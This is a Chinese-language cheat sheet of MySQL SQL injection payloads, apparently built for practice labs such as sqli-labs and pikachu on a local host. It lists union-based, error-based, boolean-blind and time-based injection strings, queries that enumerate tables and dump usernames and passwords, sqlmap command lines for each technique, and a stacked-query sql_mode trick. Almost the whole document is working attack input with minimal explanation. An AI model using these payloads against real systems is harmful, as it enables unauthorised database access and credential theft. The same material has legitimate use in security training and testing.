Sql常用payload
爆字段
order by 5
联合查询
?id=-1' and 1=2 union select 1,version(),3 --+
报错
# 这条报错注入是有概率的,多试几次
?id=-1' and (select 1 from (select count('^'),concat((select version()),floor(rand()*2))x from information_schema.tables group by x)a) --+
?id=-1' and (select 1 from (select count('^'),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
?id=-1' and extractvalue(1,concat('^',(select version()),'^')) --+
?id=-1' and updatexml(1,concat('^',(select database()),'^'),1) --+
布尔
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+
?id=1' and left(database(),1)='s'--+
延时
s
ASCII 码为 115
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
Mysql的常用函数和数据库表
# 当前用户和数据库
select user(),database()
# 当前数据库下的所有表
select database(),group_concat(table_name) from information_schema.tables where table_schema=database()
# uses表的字段
select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
# 爆值
select database(),group_concat('~',username,'~',password) from pikachu.users
sqlmap
# 联合查询
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
# 报错
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3
# 布尔
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
# 延时
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
其他
使用set sql_mode=PIPES_AS_CONCAT;
将||视为字符串的连接操作符而非或运算符
select 1;set sql_mode=PIPES_AS_CONCAT;select 1